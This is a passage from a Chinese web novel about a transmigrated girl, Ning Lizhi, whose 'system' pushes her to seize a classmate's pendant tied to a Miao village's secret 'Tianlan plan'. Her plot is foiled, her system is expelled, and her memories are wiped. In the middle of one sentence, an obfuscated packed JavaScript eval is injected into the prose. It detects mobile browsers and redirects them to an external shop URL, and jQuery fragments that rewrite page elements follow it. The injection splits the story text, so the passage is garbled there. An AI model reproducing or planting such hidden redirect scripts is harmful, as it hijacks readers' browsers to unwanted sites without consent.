她原本是在光鲜亮丽的娱乐圈里打转的，什么时候受过这种挤公交的罪？要不是系统强制传送，她现在应该躺在剧组的豪华酒店里，喝着助理递来的冰镇果汁，而不是穿着洗得发白的校服，挤在这闷热的车厢里，为了一个破吊坠费尽心思。 四十分钟后，公交车终于到站。宁荔枝挤下车，沿着坑坑洼洼的水泥路往巷子深处走。这里是县城的老城区，房子大多是七八十年代的红砖小楼，墙皮斑驳，墙角爬满了青苔，巷子里还能听见谁家的收音机在咿咿呀呀地唱着老歌。 她走到一扇掉漆的木门前，掏出钥匙开了门。 屋里空荡荡的，没有开灯，光线昏暗。客厅的茶几上积着一层薄薄的灰尘，沙发上搭着一件洗得泛黄的旧衣服，一看就是许久没人住过的样子。这是系统为她在这个时空伪造的“家”，一个父母常年在外打工、只有她一个人留守的空壳子。 宁荔枝把书包扔在沙发上，踢掉鞋子，瘫倒在沙发里，盯着天花板上摇摇欲坠的吊扇，眼神空洞。 【宿主，建议你利用周末时间，前往苗寨附近踩点，或许能找到新的突破口——】 系统的声音再次响起，这次却带上了几分小心翼翼。 宁荔枝闭了闭眼，嘴角勾起一抹冷笑。苗寨？沈司南的地盘？她现在去，无异于自投罗网。 她翻身坐起，走到窗边，拉开了窗帘。窗外的天色渐渐暗了下来，巷口的路灯亮了起来，昏黄的光线洒在青石板路上，拉出长长的影子。 宁荔枝的目光落在了手腕上的系统光屏上，光屏上，许祭的头像旁边，好感度依旧是冰冷的0。而沈司南的名字，则被标注着高危两个血红的字。 她的手指缓缓收紧，眼底闪过一丝狠戾。 许祭，沈司南……你们等着。 这个吊坠，她势在必得。 她转身走进狭小的厨房，打开冰箱，里面只有几瓶矿泉水和一包泡面。宁荔枝拿出泡面，撕开包装袋，动作机械地往里倒着热水。 氤氲的热气模糊了她的脸，也模糊了她眼底翻涌的算计。 周末……或许，她可以换个思路。 夜色漫过老城区的屋檐时，宁荔枝正坐在吱呀作响的旧书桌前，指尖在泛黄的笔记本电脑键盘上飞快敲击。屏幕的冷光映着她的脸，一半亮得晃眼，一半隐在阴影里，衬得眼底的算计格外清晰。 系统0321的机械音还在脑海里盘旋：【天蓝预案与许祭吊坠存在强关联，获取预案内容可大幅提升任务成功率，警告：该预案涉及时空规则，严禁外泄。】 宁荔枝嗤笑一声，手指顿在回车键上。她已经在榕城一中的校园网匿名论坛里泡了半小时，翻遍了几十个沉底的旧帖，终于扒出一个讨论“校园老传说”的闲聊楼，注册了个“路过的吃瓜人”的小号，头像选了个最不起眼的灰色小猫，在楼尾敲下一行字。 【匿名】路过的吃瓜人： 弱弱问一句，有没有学长学姐知道“天蓝预案”在哪里啊？最近整理老家旧箱子翻到个写着这名字的小本子，纸都黄了，感觉有点好奇，有没有懂的大佬科普一下？ 发送成功的提示弹出来时，她往后靠在椅背上，指尖摩挲着冰凉的屏幕边缘，指甲上涂着的裸色指甲油已经磕掉了一小块。 她猜，这个所谓的“天蓝预案”，多半和许祭那个从天而降的吊坠脱不了干系，甚至可能和沈司南守着的那片苗寨秘境有关。毕竟系统不会无缘无故把这四个字标成血红，更不会反复强调“优先级高于吊坠获取”。 校园网的刷新键被她点得飞快，论坛里的回复寥寥无几，大多是“没听过”“什么玩意儿啊”“楼主怕不是翻到爷爷的旧工作手册了”的调侃。宁荔枝的耐心一点点被磨掉，刚想关掉页面，新的回复提示跳了出来，头像也是个没填资料的小号。 【匿名】不知名用户： 这个好像是五六年前的东西了吧？我哥当年在一中读书，说见过校领导偷偷传阅这个文件，好像和城郊那个苗寨有关？听说当年寨子里出了点事，学校和那边联手弄了个什么预案，后来就彻底封档了，提都不能提。 宁荔枝的眼睛猛地亮了，指尖瞬间攥紧，指节泛白。 苗寨。 她几乎立刻就想到了沈司南身上那股清冽的草药味，想到了他袖口绣着的缠枝暗纹，想到了他看许祭时，那双沉静得像深潭的眼睛。 指尖悬在键盘上，她飞快敲下“真的假的？有没有更多细节啊？”，又一字字删掉，最后只发了句“谢谢大佬！涨见识了！”，生怕追问得太急，扯出不必要的麻烦。 窗外的风穿过窗缝，带着老城区潮湿的霉味，吹得她后颈一阵发凉。宁荔枝看着屏幕上那行回复，唇角缓缓勾起一抹弧度，眼底却没什么温度。 天蓝预案，苗寨，许祭的吊坠。 这几条线，终于要缠到一起了。 而此刻，榕城一中教职工宿舍的小房间里，许祭正对着电脑屏幕，指腹无意识地摩挲着鼠标左键，指节因为用力，泛着淡淡的青白。 他本来是想查运动会单人跳绳的耐力训练技巧，页面却鬼使神差地跳转到了校园网的匿名论坛——是下午苏招发给他的链接，说里面有学长分享的跳绳秘诀。他随手往下翻，那个带着“天蓝预案”字样的回复，像一根细针，猝不及防地扎进了他的神经里。 这个名字，他不是第一次听见。 九岁那年，他被爸妈送到苗寨过暑假，夜里发烧渴醒，踩着月光去火塘边找水喝，撞见和他同龄的沈司南，正踮着脚凑在大长老耳边说话。铜盆里的火舌舔着柴薪，噼啪作响，火光把两个少年的影子拉得老长。他听见长老捏着一卷泛黄的麻布卷，声音压得极低，混着苗语和汉语，提到“天蓝预案”，提到“吊坠是钥匙”，提到“时空裂隙不能碰”，那些词晦涩难懂，却像烧红的烙铁，烫在他脑子里，挥之不去。 后来他攥着沈司南的衣角追问，和他一样高的少年蹲下来，指尖轻轻擦去他嘴角的水渍，眼神比火塘里的光还要温和，却只说了一句：“等我们再长大一点，我就告诉你。” 许祭的目光落在屏幕下方那条“和城郊苗寨有关”的回复上，心脏突突地跳，快得像要撞碎肋骨。他点开发帖人的头像，灰色小猫的图标，资料一片空白，注册时间显示是十分钟前——新号，太新了。 他猛地想起白天教室里，宁荔枝凑过来时，落在他脖颈间的那道目光，算不上灼热，却带着一种针尖似的探究，像在掂量什么值钱的物件。 许祭的指尖顿在键盘上，指腹蹭过冰凉的按键，犹豫了几秒，点开了私信界面。输入框里敲出“你是谁”三个字，又删掉，换成“你从哪里知道这个名字的”，光标闪了闪，还是被他一键清空。 他不知道该问什么，更不知道，这个突然冒出来的发帖人，到底藏着什么心思。 窗外的月光透过窗帘缝隙漏进来，碎银似的洒在桌面上，落在他摊开的手背上。许祭抬手摸了摸脖颈间的银色吊坠，冰凉的触感从指尖蔓延到心底，吊坠背面刻着的细碎纹路，硌得指腹微微发痒——那是沈司南教他认的第一个苗文，意思是“守护”，那年他们都只有七岁，蹲在苗寨的晒谷场上，阳光晒得人暖洋洋的。 他点开和沈司南的聊天框，输入框里敲了又删，删了又敲，最后只留下一行字：“明天放学，槐树下见，有急事。” 发送成功的提示弹出时，许祭关掉论坛页面，反手扣上电脑盖。屏幕暗下去的瞬间，他看见自己映在上面的脸，眉头紧锁，眼底满是少年人藏不住的警惕。 有些秘密，是不能被人扒出来的。 有些麻烦，也该提前拦住。 放学的铃声刚落，许祭就攥着书包带往老槐树的方向走，脚步比平时快了些，指尖无意识地摩挲着脖颈间的吊坠，冰凉的纹路硌着指腹，让他纷乱的心绪勉强定了定。 老槐树下已经站了人。 沈司南还是那身靛蓝色的苗布短衫，袖口的缠枝暗纹被夕阳染成了暖金色，十五岁的少年身形清瘦挺拔，墨发用布带松松束着，正仰头看着槐树叶间漏下来的光斑，听见脚步声，才缓缓转过头。 他和许祭一样高，眉眼间却比同龄人多了几分沉静，看见许祭，眼底的疏离便散了些，弯了弯唇角：“这么急，什么事？” 许祭走到他面前，没说话，先往四周看了看。放学的人流正朝着校门口涌去，喧闹声隔着一段距离传来，槐树下安静得很，只有风穿过树叶的沙沙声。他这才压低声音，把手机屏幕亮给沈司南看，指尖点着那个匿名帖子：“你看这个。” 沈司南的目光落在“天蓝预案”四个字上，瞳孔微微缩了缩，脸上的笑意淡了下去。他没接手机，只是垂眸看着许祭，声音轻得像风：“你在哪里看到的？” “校园网的论坛。”许祭把手机收回来，手指攥得发白，“发帖的是个小号，还有人回复，说这个预案和苗寨有关，是当年学校和寨子联手弄的，后来被封档了。” 他顿了顿，抬眼看向沈司南，眼底满是少年人的急切和困惑：“九岁那年，我在火塘边听见你和长老说这个，还有吊坠，还有时空裂隙……到底是怎么回事？” 沈司南沉默了片刻，伸手，指尖轻轻碰了碰许祭脖颈间的吊坠，指尖的温度透过冰凉的金属传过来，带着熟悉的触感。那年他们七岁，他蹲在晒谷场上，一笔一划教许祭认吊坠背面的苗文，说这是“守护”，那时的阳光和现在一样暖。 “这个预案，确实和苗寨有关。”沈司南的声音压得很低，带着几分郑重，“是很多年前，寨子里的先辈和外面的人一起定的，为了守住……守住一道口子。” “什么口子？”许祭追问。 沈司南却摇了摇头，目光落在他的脸上，带着和年龄不符的无奈：“现在还不能告诉你。”他顿了顿，补充道，“不是不信你，是时机没到，知道了对你没好处。” 许祭的眉头皱得更紧了：“那这个发帖的人呢？他怎么会知道这个名字？会不会和……” 他的话没说完，却看见沈司南的眼神沉了下去，像潭水被搅浑了。 “和白天找你组队的那个转学生有关？”沈司南接过他的话，声音里带着几分冷意。 许祭愣了愣，随即反应过来，点了点头：“我总觉得她看我的眼神不对劲，尤其是看吊坠的时候，还有她今天被我拒绝后，那眼神……” “她不是这个时空的人。”沈司南忽然说。 许祭猛地睁大了眼睛：“你说什么？” “她身上的气息很驳杂，和这里格格不入。”沈司南的指尖依旧停留在吊坠上，轻轻摩挲着，“苗寨的蛊虫对这种气息最敏感，昨天我靠近她的时候，袖袋里的驱虫蛊都躁动了。” 许祭的心跳漏了一拍，脑海里瞬间闪过宁荔枝那张带着甜笑的脸，还有她看向吊坠时，眼底一闪而过的算计。 “那这个帖子……” “十有八九是她发的。”沈司南收回手，抬头看向许祭，眼底的沉静里多了几分坚定，“她想知道天蓝预案，想打吊坠的主意。” 风忽然大了些，吹落了几片槐树叶，落在两人的肩头。许祭看着沈司南的眼睛，那双和他同龄的眸子里，盛着他看不懂的沉重。 “那我们怎么办？”许祭下意识地问，像是小时候遇到麻烦时，第一时间找他求助。 沈司南看着他，忽然笑了笑，伸手揉了揉他的头发，动作自然又亲昵：“别怕。” 他的指尖带着草木的清香，许祭的脸颊微微发烫，却没躲开。 “有我在。”沈司南的声音很轻，却带着让人安心的力量，“天蓝预案的秘密，不会被她挖出来，你的吊坠，也不会被她拿走。” 夕阳穿过槐树叶，在两人身上投下细碎的光斑，风里带着少年人的气息，还有一丝若有若无的、属于苗寨的草药香。 宁荔枝是被一阵冷醒的。 刺骨的寒意顺着脊背往上爬，混着泥土和草药的味道，呛得她猛咳了几声。睁开眼时，入目是漆黑的木梁，耳边是虫鸣和风吹过竹篾墙的簌簌声，身上盖着的粗布被子硬邦邦的，带着一股淡淡的霉味。 她猛地坐起身，才发现自己被捆在了一张简陋的木床上，手腕被麻绳勒得生疼，动弹不得。 “醒了？” 一个清冷的少年音在角落里响起，带着几分漫不经心。 宁荔枝转头看去，就看见沈司南坐在竹凳上，手里把玩着一根泛着银光的蛊针，十五岁的少年穿着靛蓝色苗布短衫，眉眼间却没有半点同龄人的稚气，那双眼睛在昏暗中亮得惊人，像深山里的狼崽，带着审视和冷意。 旁边站着的，正是许祭。 他没说话，只是看着她，眼神里带着警惕和疏离，脖颈间的银色吊坠在月光下闪着光，刺得宁荔枝眼睛生疼。 “你们……你们想干什么？”宁荔枝的声音发颤，心里却在疯狂咒骂系统0321——警报声消失得无影无踪，光屏也彻底黑屏，连一点提示都没有，她就被这两个人悄无声息地带到了这鬼地方。 沈司南没回答，只是站起身，走到床边，居高临下地看着她，指尖的蛊针在月光下划过一道冷光：“天蓝预案，你从哪里知道的？” 宁荔枝的心脏猛地一缩，嘴上却不肯松口：“什么预案？我不知道你在说什么！” “不知道？”沈司南的唇角勾起一抹冷笑，俯身凑近她，声音压得极低，带着属于苗寨祭司的威压，“校园网的匿名帖子，‘路过的吃瓜人’，新注册的小号，头像还是只灰色小猫。需要我把你的发帖记录念一遍吗？” 宁荔枝的脸色瞬间惨白。 她怎么也没想到，自己做得这么隐蔽，还是被揪了出来。 许祭往前走了一步，眉头紧锁：“你为什么要查这个？为什么盯着我的吊坠？” 宁荔枝看着他，又看向沈司南那双仿佛能看穿一切的眼睛，知道瞒不下去了，却依旧嘴硬：“我就是好奇！不行吗？” “好奇？”沈司南嗤笑一声，指尖的蛊针轻轻碰了碰她的手腕，冰凉的触感让宁荔枝浑身一颤，“好奇到不惜伪装成转学生，混进一中？好奇到不惜招惹不属于你这个时空的人？” “你怎么知道……”宁荔枝脱口而出，随即又猛地闭上嘴。 沈司南的眼神更冷了：“苗寨的人，最擅长分辨异类。你身上的气息太杂，带着时空穿梭的紊乱感，还有你脑子里那个冷冰冰的东西——”他指了指宁荔枝的太阳穴，“它的波动，瞒不过蛊虫的感知。” 宁荔枝彻底慌了，挣扎着想要挣脱麻绳，却只换来手腕上更深的勒痕：“你们放开我！我警告你们，我要是出事，我背后的人不会放过你们的！” “背后的人？”沈司南挑了挑眉，眼底却没什么温度，“是那个给你发布任务的系统吗？” 他的话像一道惊雷，劈得宁荔枝浑身僵硬。 许祭也愣住了，转头看向沈司南，眼里满是疑惑：“系统？什么系统？” 沈司南没理会他，只是看着宁荔枝，语气平静却带着不容置疑的力量：“天蓝预案是苗寨和外界的约定，关乎时空裂隙的封印，不是你该碰的东西。你的任务，是拿许祭的吊坠吧？” 宁荔枝咬紧牙关，不肯说话，眼底却闪过一丝绝望。 沈司南直起身，收起蛊针，对许祭道：“把她关在这里，派人看着。等长老回来，再决定怎么处置。” 许祭点了点头，看了宁荔枝一眼，眼神复杂。 沈司南走到门口，又停下脚步，回头看向宁荔枝，声音冷得像冰：“记住，苗寨的东西，不是外人能觊觎的。尤其是，他的东西。” 最后那句“他的东西”，说得极轻，却带着十足的占有欲。 门被关上，木栓落下，彻底隔绝了外面的月光。 宁荔枝瘫在床上，看着漆黑的屋顶，眼泪终于忍不住掉了下来。 系统依旧没有动静。 她知道，这次，她栽了。 而窗外，月光下，沈司南和许祭并肩站着，虫鸣阵阵。 许祭看着沈司南，轻声问：“你早就知道她不对劲，对不对？” 沈司南转头看他，眼底的冷意散去，只剩下柔和，他抬手，轻轻摸了摸许祭的头发，指尖带着草木的清香：“从她靠近你的那一刻起，我就知道了。” 许祭的脸颊微微发烫，伸手抓住他的手腕，指尖相触，温暖而熟悉。 “那天蓝预案……” “等时机到了，我会告诉你一切。”沈司南的声音很轻，“现在，只要你好好的，就够了。” 月光洒在两人身上，勾勒出少年并肩的剪影，安静而绵长。 宁荔枝被捆在木床上，正挣扎得满头大汗，脑海里忽然响起一阵刺耳的电流声，尖锐得像是要把她的脑仁劈开。 【警报！警报！检测到同序列系统信号！型号0320，权限等级高于本机！】 【对方正在发起驱逐指令！系统屏障破碎中！30%……50%……】 系统0321的机械音第一次带上了慌乱，不再是平日里刻板的警告调调。宁荔枝的心脏骤然缩紧，她猛地抬头看向站在床边的许祭，对方正垂眸看着她，脖颈间的银色吊坠泛着一层极淡的光晕，像有什么东西在里面缓缓流动。 “许祭！是你搞的鬼对不对！”宁荔枝嘶吼出声，手腕被麻绳勒出的血痕火辣辣地疼，“你那个破吊坠里也有系统是不是！” 许祭没说话，只是抬手摸了摸脖颈间的吊坠，指尖触到冰凉的纹路时，吊坠的光芒又亮了几分。他能清晰地感觉到，有一道温和的意识正顺着吊坠的纹路流淌出来，和他的思绪缠在一起，带着安抚的意味。 那是属于0320的意识。 从他捡到这个吊坠的那天起，0320就一直陪着他，沉默又安静，从不像宁荔枝的系统那样聒噪，更不会逼着他去做什么任务。它只会在他遇到危险时，悄悄帮他挡过一劫；在他迷茫时，用意识传递来一丝暖意。 【驱逐指令生效！系统0321强制脱离中！】 【本机能量流失过快！无法抵抗！警告——警告——】 宁荔枝的脑海里，电流声越来越响，系统0321的声音渐渐变得断断续续，像是随时会消散。她能感觉到，那个盘踞在她脑海里许久的冰冷意识，正在被一股强大的力量撕扯、剥离，那种感觉就像被硬生生抽走了一部分灵魂，疼得她浑身痉挛，冷汗浸透了粗布衣裳。 沈司南站在一旁，眉眼沉静地看着这一切。他能看见，有两道看不见的光影正在宁荔枝的头顶纠缠，一道是刺眼的、带着掠夺性的银灰色，另一道则是柔和的、泛着暖光的银白色。银白色的光影带着不容抗拒的威压，一点点将银灰色的光影逼出宁荔枝的身体。 【系统0321脱离完成！本机将被强制遣返原时空！永……】 最后一个字消散在电流声里，宁荔枝的脑海里彻底安静了下来，那种被冰冷意识占据的不适感消失得无影无踪，只剩下一片空落落的茫然。她瘫在木床上，大口大口地喘着气，浑身脱力，像被抽走了所有力气。 许祭脖颈间的吊坠渐渐褪去了光晕，恢复了原本的模样。他能感觉到，0320的意识又沉寂了下去，像是完成了任务，安心地回到了吊坠里。 “它……走了？”许祭轻声问，语气里带着一丝不易察觉的释然。 沈司南走到他身边，伸手握住他的手腕，指尖的温度温暖而熟悉：“嗯，走了。” 他早就知道，许祭的吊坠里藏着东西。苗寨的长老说过，这个吊坠是时空裂隙的钥匙，也是守护者的信物，里面住着一个来自异世的意识，会陪着吊坠的主人，直到完成使命。 宁荔枝缓了好久，才抬起头，看向许祭和沈司南，眼神里充满了不甘和茫然：“为什么……为什么你的系统会比我的强？” 许祭看着她，眼神里没有同情，只有疏离：“它从来都不是我的系统。” 它只是一个守护者，一个陪着他长大的，沉默的朋友。 沈司南的目光落在宁荔枝身上，带着几分冷意：“不属于这个时空的东西，终究是要被送走的。” 窗外的月光透过竹篾墙的缝隙漏进来，落在宁荔枝苍白的脸上。她看着眼前的两个少年，看着他们紧握的手，忽然明白过来，从她带着系统来到这个时空，盯上许祭的吊坠开始，她就注定了会输。 因为这里，有她永远也无法撼动的羁绊。 宁荔枝还瘫在木床上，浑身的力气像是被抽干了，眼神空洞地望着竹篾墙的缝隙，月光漏进来，在她脸上投下细碎的光斑。 沈司南从袖袋里摸出一枚小小的、泛着莹光的草叶，草叶上缠着细细的红线，是苗寨特有的忘忧草。他走到床边，抬手，指尖轻轻拂过宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037630|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荔枝的眉心。 那枚忘忧草触碰到她皮肤的瞬间，莹光骤然亮起，顺着她的额头，缓缓蔓延至整个脸颊。 许祭站在一旁，看着宁荔枝的眼神渐渐变得涣散，像蒙了一层雾。他能感觉到，吊坠里的0320正在和忘忧草的力量呼应，一点点剥离她脑海里关于天蓝预案的所有记忆，那些和系统绑定的、带着掠夺性的念头，也在莹光里慢慢消散。 “忘忧草只会抹除她不该记住的东西，”沈司南的声音很轻，带着少年人特有的清冽，“关于校园、关于转学生的记忆会留下，她只会忘了为什么来这里，忘了天蓝预案，忘了你的吊坠。” 许祭点了点头，指尖无意识地摩挲着脖颈间的吊坠。0320传递来一阵温和的意识，像是在告诉他，一切都妥当了。 宁荔枝的睫毛轻轻颤动了几下，嘴里发出细碎的、无意识的呓语，隐约能听见“系统”“吊坠”的字眼，很快又模糊成了呢喃。 莹光渐渐淡去，忘忧草化作一缕青烟，消散在空气里。 沈司南收回手，看着宁荔枝的眼神恢复了清明，却多了几分茫然。他对守在门口的苗寨少年示意了一下，对方立刻上前，解开了宁荔枝手腕上的麻绳。 宁荔枝坐起身，揉了揉发疼的手腕，看着眼前的两个少年，眉头皱得紧紧的：“你们……是谁？我怎么会在这里？” 她的目光扫过这间简陋的木屋，眼里满是困惑：“我不是应该在县城的家里吗？怎么跑到这种地方来了？” 许祭看着她，心里忽然生出一丝莫名的情绪。他想起白天在教室里，她凑过来要和他组队跳绳的样子，想起她看向吊坠时，那道带着算计的目光。可现在，那双眼睛里只剩下纯粹的茫然，像个迷路的孩子。 沈司南看出了他的心思，轻轻拍了拍他的肩膀，语气平静：“她已经不是那个带着系统的宁荔枝了。” 宁荔枝挣扎着下了床，脚步虚浮地走到门口，看着外面陌生的苗寨夜景，眼里的困惑更浓了：“我得回去……我明天还要上学呢。” 她说着，就慌慌张张地朝着寨口的方向跑去，连落在地上的书包都忘了捡。 月光洒在她的背影上，单薄又仓促，像是从未在这个苗寨里，掀起过任何波澜。 许祭看着她的背影消失在夜色里，轻轻叹了口气：“这样……真的好吗？” 沈司南走到他身边，和他并肩站着，晚风带着草木的清香，吹起两人额前的碎发。他转头看向许祭，眼底盛着月光，温柔得不像话：“对她来说，忘了这些，是最好的结局。” 许祭抬眼看向他，四目相对，空气里弥漫着淡淡的、少年人的默契。 沈司南忽然伸出手，握住了许祭的手腕，指尖触到他脖颈间的吊坠，冰凉的纹路硌着指尖，带着熟悉的触感。 “天蓝预案的事，”沈司南的声音压得很低，只有他们两个人能听见，“等过了这个冬天，我就告诉你所有的事。” 许祭的心跳漏了一拍，看着他认真的眼神，轻轻点了点头：“好。” 夜色渐深，苗寨里的虫鸣渐渐歇了，只有月光，安静地洒在吊脚楼上，洒在两个少年紧握的手上，洒在这片藏着无数秘密的土地上。 入冬的第一场雪，落得又急又密，把苗寨的吊脚楼裹成了一片雪白。远山隐在雾凇里，像一幅晕开的水墨画，火塘里的柴火烧得噼啪作响，暖融融的火光映着两人的侧脸。 许祭缩在火塘边的竹椅里，手里捧着一杯温热的米酒，指尖被烫得微微发红。他看着窗外飘飞的雪花，忽然想起沈司南说过的话——等过了这个冬天，就告诉他所有的事。 今天，正是雪落的第七天。 沈司南坐在他对面的木凳上，手里摩挲着一卷泛黄的麻布卷，那是从寨里的祠堂里取出来的，边角已经磨损得厉害，上面绣着密密麻麻的苗文，间或夹杂着几个模糊的汉字。 “天蓝预案，不是一个简单的计划。”沈司南的声音，在火塘的噼啪声里显得格外清晰，他把麻布卷摊开在两人之间的小桌上，指尖点着最上面的一行字，“这是百年前，苗寨的祭司和一位来自异世的旅人，共同定下的契约。” 许祭的心跳慢了半拍，他凑近了些，目光落在那些陌生的文字上：“异世的旅人？” “嗯。”沈司南点头，眼底映着火光，“那位旅人，和宁荔枝一样，是带着系统来的。” 许祭握着杯子的手紧了紧。 “百年前，这里的时空裂隙出过一次大问题，”沈司南的声音沉了些，“裂隙那头的能量倾泻而出，差点毁了整个苗寨。那位旅人带着系统而来，系统的核心，和你吊坠里的0320，是同一种存在——它们是时空的守护者，不是掠夺者。” 他顿了顿，指尖划过麻布卷上的一个图案，那是一个和许祭吊坠一模一样的纹路：“天蓝预案，就是用守护者的能量，加固时空裂隙的封印。你的吊坠，就是当年那位旅人留下的，里面的0320，是最后一道封印的钥匙。” 许祭下意识地摸了摸脖颈间的吊坠，冰凉的金属触感，在火塘的暖意里格外清晰。他忽然想起，九岁那年听见的那些话——吊坠的封印，时空裂隙。原来从那时起，这些秘密就已经缠上了他。 “宁荔枝的系统0321，是掠夺者，”沈司南的声音冷了些，“它们以吞噬守护者的能量为生，拿到吊坠，就是为了打开裂隙，掠夺这里的时空能量。” “那0320……”许祭的声音有些发涩，“它为什么不告诉我？” 沈司南抬眼看他，目光温柔得像火塘的光：“因为它怕你害怕。守护者的使命，从来都不是强迫，而是陪伴。” 他伸手，轻轻握住许祭放在桌上的手，指尖的温度透过皮肤传过来，暖得人心头发颤：“百年前的契约里写着，吊坠的主人，必须是心甘情愿地守护这里，封印才能稳固。我没有告诉你，也是因为这个。” 许祭看着他，眼底泛起一层薄薄的水汽。他想起这些年，0320的沉默陪伴，想起沈司南不动声色的守护，想起那个被抹去记忆、仓皇离开的宁荔枝。原来所有的相遇和纠葛，早就藏在百年前的那纸契约里。 “那现在……”许祭的声音带着点哽咽，“封印还稳固吗？” 沈司南笑了笑，抬手替他擦去眼角的湿意，指尖的触感轻柔得不像话：“稳固。” 他指了指窗外的雪：“你看，雪落了，苗寨安然无恙。这就够了。” 火塘里的柴火烧得正旺，噼啪一声，溅起几点火星。许祭反手握紧沈司南的手，冰凉的吊坠贴着脖颈，却好像忽然变得温热起来。 “那以后，”许祭看着他的眼睛，一字一句地说，“我和你一起守护这里。” 沈司南的眼底，瞬间漾开了比火塘还要暖的笑意。他俯身，额头轻轻抵上许祭的额头，两人的呼吸交缠在一起，带着米酒的醇香和雪的清冽。 “好。” 一个字，落在火塘的噼啪声里，落在漫天的飞雪里，落在两个少年紧紧相依的时光里。 窗外的雪，还在落着。苗寨的夜色，安静而绵长，藏着百年的秘密，和少年人永不褪色的羁绊。 雪停的第二天，阳光穿过薄雾，洒在苗寨的吊脚楼上，屋檐的冰棱融化成水珠，滴答滴答落在青石板上。 许祭睡醒时，火塘的余温还没散尽，他揉着眼睛坐起身，忽然听见枕头边传来一声软乎乎的“喵”。 他吓了一跳，低头看去，只见一只巴掌大的橘猫正蜷在他的枕头上，绒毛雪白雪白的，只有耳朵尖和尾巴尖带着点橘色，圆溜溜的眼睛像浸了水的黑葡萄，正歪着头看他。 “哪来的小猫？”许祭伸手想去摸，指尖刚碰到它的绒毛，脑海里就响起一道温和的意识流——【我是0320。】 许祭的手僵在半空，瞳孔微微放大：“0320？你……你怎么变成猫了？” 橘猫轻轻蹭了蹭他的指尖，软乎乎的，带着暖意。【完成驱逐掠夺者任务，能量达标，解锁实体形态。】 这时，沈司南端着热好的米酒走进来，看见枕头上的橘猫，眼底闪过一丝笑意：“看来它选了个自己喜欢的样子。” 许祭转头看向他，眼里满是惊喜：“你早就知道？” “长老说过，守护者的实体形态，会在封印最稳固的时候出现。”沈司南走过来，将米酒放在桌上，伸手揉了揉橘猫的脑袋，“它跟着你这么多年，早就想以这种方式陪在你身边了。” 橘猫舒服地眯起眼睛，发出呼噜呼噜的声音，尾巴尖轻轻扫过许祭的手背。 许祭的心软得一塌糊涂，他小心翼翼地把小猫抱进怀里，绒毛蹭着掌心，暖融融的。他看着小猫圆滚滚的样子，忽然想起昨天雪夜里，火塘边的温暖，想起和沈司南并肩的时光，嘴角忍不住弯起来：“以后就叫你嘻嘻吧。” 橘猫像是听懂了，抬起头，用脑袋蹭了蹭他的下巴，又“喵”了一声，像是在答应。 沈司南看着抱猫的许祭，眼底的笑意更深了。阳光透过木窗，落在许祭的发顶，落在嘻嘻软乎乎的绒毛上，落在两人之间，漾开一片暖融融的光。 许祭抱着嘻嘻，低头蹭了蹭它的耳朵：“以后，我们三个一起守护苗寨，好不好？” 嘻嘻眨了眨眼睛，尾巴缠上他的手腕。 沈司南走到他身边，伸手，轻轻握住了他没抱猫的那只手，指尖相触，温度交融。 “好。” 窗外的阳光正好，雪后的苗寨清新得像洗过一样，鸟雀落在枝头，叽叽喳喳地叫着。吊脚楼里，火塘余温袅袅，橘猫在少年怀里打着呼噜，两个少年的手紧紧握在一起，一切都是最好的。 周一的早自习铃声刚响，许祭抱着一摞作业本往教室走，刚拐过走廊的拐角，就和一个人撞了个正着。 作业本哗啦啦散了一地，许祭连忙弯腰去捡，抬头时，撞进一双带着歉意的眼睛里。 是宁荔枝。 她穿着和他同款的蓝白校服，头发梳得整整齐齐，手里还拿着一个没开封的面包，看见地上的作业本，连忙蹲下来帮忙捡，嘴里还小声道歉：“对不起对不起，我走太急了，没看路。” 许祭的动作顿了顿。 眼前的宁荔枝，眼神清澈，带着少年人特有的青涩和慌乱，和上次在苗寨木屋里那个满眼算计、歇斯底里的样子，判若两人。 忘忧草的效力，果然彻底洗去了她不该有的记忆。 “没关系。”许祭接过她递来的作业本，指尖不小心碰到她的手背，两人都下意识地缩了缩手。 宁荔枝直起身，看着他手里的作业本，又看了看他胸前的校牌，眼睛亮了亮：“你也是初二（3）班的？我叫宁荔枝，是转学生。” 她的笑容干净，带着几分自来熟的热情，完全不记得自己曾经盯着他的吊坠，想方设法地接近他。 许祭抱着作业本，点了点头：“我知道，许祭。” “哦！你就是许祭啊！”宁荔枝恍然大悟，笑着挠了挠头，“我听班长说过你，说你跳绳特别厉害。对了，上次运动会我本来想找你组队的，后来好像……忘了为什么没成了。” 她皱着眉，一脸困惑，像是在努力回忆什么，可那些和系统、吊坠、天蓝预案有关的记忆，早就被忘得一干二净。 许祭看着她这副样子，心里忽然松了口气。 忘了也好。 这时，教室的门被推开，赵铁锤探出头来喊他：“许祭！快点！老班要检查作业了！” 许祭应了一声，对宁荔枝点了点头：“我先走了。” “嗯嗯！”宁荔枝挥了挥手，看着他走进教室的背影，咬了口面包，转身往自己的座位走。 她的脚步轻快，像所有普通的初中生一样，满脑子只有早自习和没吃完的面包，再也没有那些纠缠着她的、不属于这个时空的念头。 许祭走到座位旁，把作业本放在讲台上，回头看了一眼。宁荔枝正坐在最后一排的窗边，阳光落在她的侧脸上，柔和得像一幅画。 沈司南不知道什么时候站在了教室外的走廊上，穿着靛蓝色的苗布短衫，倚着栏杆，目光落在他身上，嘴角噙着一点淡淡的笑意。 许祭也朝他弯了弯唇角。 早自习的读书声响起，朗朗的，带着少年人的朝气。 那些惊心动魄的纠葛，那些藏在时光里的秘密，都被妥帖地收了起来。 日子像走廊外的阳光，平淡，却又温暖得刚刚好。 周四的早读课刚过半，窗外忽然飘起了零星的小雨，许祭盯着课本上的字，心思却早飘到了桌肚里——那里藏着一只暖乎乎的小橘猫。 是沈司南早上送他来学校时，偷偷塞给他的。嘻嘻缩在他的帆布包里，一路安安静静，半点声响都没出。许祭本来没打算带它来，可小家伙扒着他的手腕喵喵叫，那双圆溜溜的眼睛看得他心软，终究还是没忍住。 